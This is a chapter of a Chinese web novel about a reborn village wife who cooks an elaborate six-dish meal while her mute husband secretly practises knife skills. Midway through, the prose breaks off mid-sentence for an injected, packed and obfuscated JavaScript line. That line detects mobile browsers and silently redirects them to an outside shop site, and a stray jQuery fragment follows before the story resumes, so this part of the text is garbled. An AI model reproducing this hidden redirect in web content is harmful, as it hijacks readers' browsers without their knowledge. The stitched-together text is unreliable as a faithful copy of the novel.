陈雪娟洗着野菜,也不忘观察四周,想看看河里有没有什么鱼儿。
90年代已经有明文规定,不能电鱼、炸鱼、毒鱼,野生水产禁止非法交易等等,后世禁渔期更是管控严格,没有相对应的经营许可证、捕捞证,皆属于违法行为。
前世由于涉及经营范围,她不得不了解此事。
其实也不难理解,若不加以管控,人人大肆捕捞,生态环境被破坏,很快河道就会变成荒芜一片。
当然,这年头河里也没有多少大鱼。
老百姓只是解决了温饱,还谈不上肉类自由,水里要真有大鱼,大家也不傻,明里暗里早就捞完了。
好在非禁渔期,乡野郊外的小鱼小虾米,无人在意。
只是一网兜下去,恐怕还不够炒几盘菜的,但制成酱鱼干,小配菜那叫一个下饭!
陈雪娟沿着水路,往下看了一会儿。
小鱼小虾米还真不少,越是靠近水田越是多水下生物,晚上倒是可以下一网子,给孩子补补身子。
眼见时间已经不早,她也不再停留,洗完东西立马带着孩子回家。
临近正午,连山风都带着些许燥热。
母女俩顶着热辣的太阳,路过自家稻田时,林安已经不在。
她本以为林安已经回去,谁料回到家中,家里空无一人。
陈雪娟也没有多想,先将洗净的野菜和仙草一字摆开,在长廊下晾晒,一部分晒成干,一部分直接吃新鲜的。
小丫头正拿着从邻里处借来的旧课本,学习认字。
至于她,今天得小露一手!
没有肉,问题也不大。
她先将米饭蒸上,又往后锅添了些凉水,放入采摘回来的野菊花和蒲公英。
野菊花和蒲公英清热解毒,适合小火慢煮,再添上两片姜片,可以压住二者的苦味。
等饭菜做好,后锅再加上几块冰糖,饮品会更加甜口。
陈雪娟笑眯眯拿起小菜篮,开始就地取材——野生苋菜、生菜、土豆、茄子、老豆腐、家里还有几个鸡蛋,正好五菜一汤。
家里的酱料不多,除开油、盐,就只有生抽、蚝油、醋。
不过已经足够了,陈雪娟丝毫不含糊,切菜配菜、调配秘制调料,刀工行云流水,动作一气呵成。
十几二十年的厨艺,不至于让她化腐朽为神奇,但火候掌控已经逐渐炉火纯青。
第一道,蒜蓉苋菜。
野生苋菜本就鲜美,嫩尖焯水后清炒片刻,后加蒜蓉,既保留食物原有的味道,浓郁鲜香还色泽清润。
第二道,蚝油白灼生菜。
蒜蓉耗油酱调制简单,但想要白灼生菜油亮、脆口鲜嫩,焯水先下盐油,将其包裹住,再淋上爆香的酱料。
第三道,凉拌酸辣土豆丝。
想要吃上清脆爽口的土豆丝,刀工是个诀窍,土豆丝切得细又匀,泡上十来分钟,多淘洗几遍,清洗掉表层的淀粉。
土豆丝先过一遍沸水,时间不用太长,透亮后捞起再过涼水。
酱料需提前另外调配,烧油激香后再倒入土豆丝,避免土豆丝发软、不爽口。
第四道,油焖老豆腐。
老豆腐切成方方正正的小块,四面煎黄,再倒入爆香后的特制酱料,酱料入味后色泽红润,豆腐外焦里嫩,轻轻一咬,便有少许酱汁流出。
第五道,蒜蓉烤茄子。
茄子已经被她放在灶膛侧边,用小火一直烘烤着,这会儿已经烤得差不多了。
茄子烫手,但好在没有烤得焦黑。
茄子对半切开,浇上爆香后的特制灵魂酱汁,香气彻底被激发出来,此时此刻的茄子肉甚至比肉还好吃。
最后一道西红柿蛋花汤,自家种的小菜,出汤必定鲜美。
陈雪娟在小小的灶房里,已经忙得满头大汗,林安恰好这个时候回来了,手里还提着半斤肉。
人还没靠近,就已经闻到厨房传来香气。
林安第一反应是错愕,他看着被热气熏得面庞通红的媳妇,很是诧异——不是,她真会做菜啊?
五菜一汤色香味俱全,挑不出任何毛病,想要菜式翠绿、不发软、透亮清爽,起码他没这手艺。
再一细看,不仅摆盘好看,各色菜式大小均匀、薄厚一致。
这刀工,似乎有点过于厉害?
林安瞪大了眼,仍旧不敢置信,这是他家媳妇的手艺?
简直就是天生大厨,嫁给他……屈才了。
林安赶忙上前帮忙,陈雪娟也没有拒绝。
她笑着吩咐:“你帮我把饭菜端出去,我再做一个红烧肉就出来,后锅还有凉茶,你放些冰糖,盛到壶里放凉就能喝。”
林安点头,已经开始照做。
陈雪娟看了眼买回来的五花肉,肉质和部位选得也不错。
红炒肉也有讲究,先炒后焖,想要色泽红润、入口软糯肥而不腻,最重要的就是火候、锅气变化。
根据不同变化,下入不同的酱料,前料后料带来效果也完全不同。
红烧肉焖好,整整六菜一汤,也算是难得的丰盛。
陈雪娟长吁一口气,天气太热,她在灶膛前早就大汗淋漓,这会儿终于能洗把脸,顺便换一身干净的衣裳。
等她清清爽爽再次出来,父女俩正乖乖坐在堂屋前等她。
陈雪娟眉眼含笑,看着急不可耐的小家伙,也不多说,直接发话吃饭。
父女俩闻了半天的菜香,看着澄亮红润的红烧肉和烤茄子,已经吞咽了不止一次唾沫。
这会儿动起筷子,连吃饭的速度,都比平常快了不少。
小丫头大快朵颐,两眼亮晶晶,嘴里还含糊不清说着好吃好吃,就连林安也双眼放光,全是意外和惊喜。
美食,果然可以治愈人心。
陈雪娟扑哧一笑,别说父女俩,连她都多吃了两碗饭。
小河村家家户户,用的都是山里留下来的清泉水,山间有水库用水不需要花钱。山泉水清凉甘甜,养人不说,煮出来的饭菜更是可口。
水质对菜品的影响,不言而喻。
家常小菜,比不上山珍海味,但水好、菜好、米香,加上柴火灶火旺,饭菜很难不香。
一家三口吃饱喝足,坐在凳子上歇饭喝凉茶。
野菊花和蒲公英都略带寒性,清热解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888134|212640||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
毒消暑,叫凉茶也没有问题。
林安各倒了三杯煮好的凉茶,微苦的汤水,放了冰糖后很是清甜,又带了少许回甘,倒也解暑。
尤其是薇薇,喝着小甜水,那叫一个欢。
小丫头一连喝了三杯,陈雪娟怕她遭不住,也就没让小家伙多喝。
陈雪娟喝着凉茶,对着林安笑道:“你就说,我这手艺能出摊不?”
林安还在回味刚才的饭菜,听见陈雪娟这般问,没有任何手语,只是重重点了点头,怎么不行,这手艺开饭馆都足够了!
他之前跟工友去过一回城里的饭馆,饭菜贵不说,半点都比不上媳妇的厨艺。
这手艺摆摊,绝对能行!
小丫头拍着肚皮,瘫坐在长凳子上,但眼神和她爹出奇一致,双眼晶亮晶亮,满脸崇拜地望向她。
“妈妈,好吃极了,你要是摆摊,我一定去买。”
陈雪娟哈哈一笑,刮了刮小家伙的鼻尖:“好咧,给你打折哈。”
林安似乎有事想和她商量,但陈雪娟已经开始犯困,她起来得早,中午必须睡午觉。
她摆了摆手,带着孩子先回了屋。
小丫头跑了一上午山,吃饱喝足后也是昏昏欲睡。
中午的太阳正烈,林安也就没有出田,在厨房收拾碗筷,想劈柴又怕吵醒老婆孩子,干脆在一旁收拾旧木头。
如果媳妇要摆摊,少不了要置办桌椅板凳。
当初家里盖房子,还剩下不少新木料,木料挺结实。不只是小板凳,就连四方小桌都能打上两张,能省下不少钱。
林安腾出干净的木料,一丁点也不想给媳妇儿拖后腿。
可搬着搬着,人又慢了下来。
现在不流行木桌木椅,不知道媳妇会介不介意,头一次做买卖,置办新的总归新物件新气象。
如果要买新的,那他就想办法弄点钱回来。
林安微微叹了口气,是他亏欠了雪娟,结婚寒碜、生孩子受苦,他又是个残疾人,给不了她体面。
媳妇早年要是显露出厨艺,十里八乡都不愁嫁的,哪里会轮得到他这个小哑巴?
媳妇以后发达了,会不会抛夫弃子?
林安猛地心尖一沉,拧着眉走到刚才收拾的厨余垃圾面前,薇薇吃饭漏菜,几根土豆丝还在箕斗里。
他捏起几根土豆丝,看了又看,怎么才能切这么细,根根还差不多?
林安皱眉,果断在菜篮子里拿出一个土豆。
为了不被抛弃,他起码得当个有用的人。
劈柴、洗碗、扫地他在行,可万一媳妇让他切菜,粗细不一的土豆丝、肉片拿出去,岂不是砸了招牌?
林安沉着脸,开始削土豆,练习刀工。
于是等陈雪娟醒来,打着哈欠来到厨房时,就看见满满一大锅的土豆丝,还有一脸坚毅奋战的林安。
这是,干嘛?
林安切得太入神,没有注意身后有人。
等他反应过来,陈雪娟已经走到旁边。
林安看着忽然出现的人,被狠狠吓了一跳,忽然就有种被人抓包的感觉,一脸红云蹭蹭蹭地往上爬,瞬间蔓延至脖颈。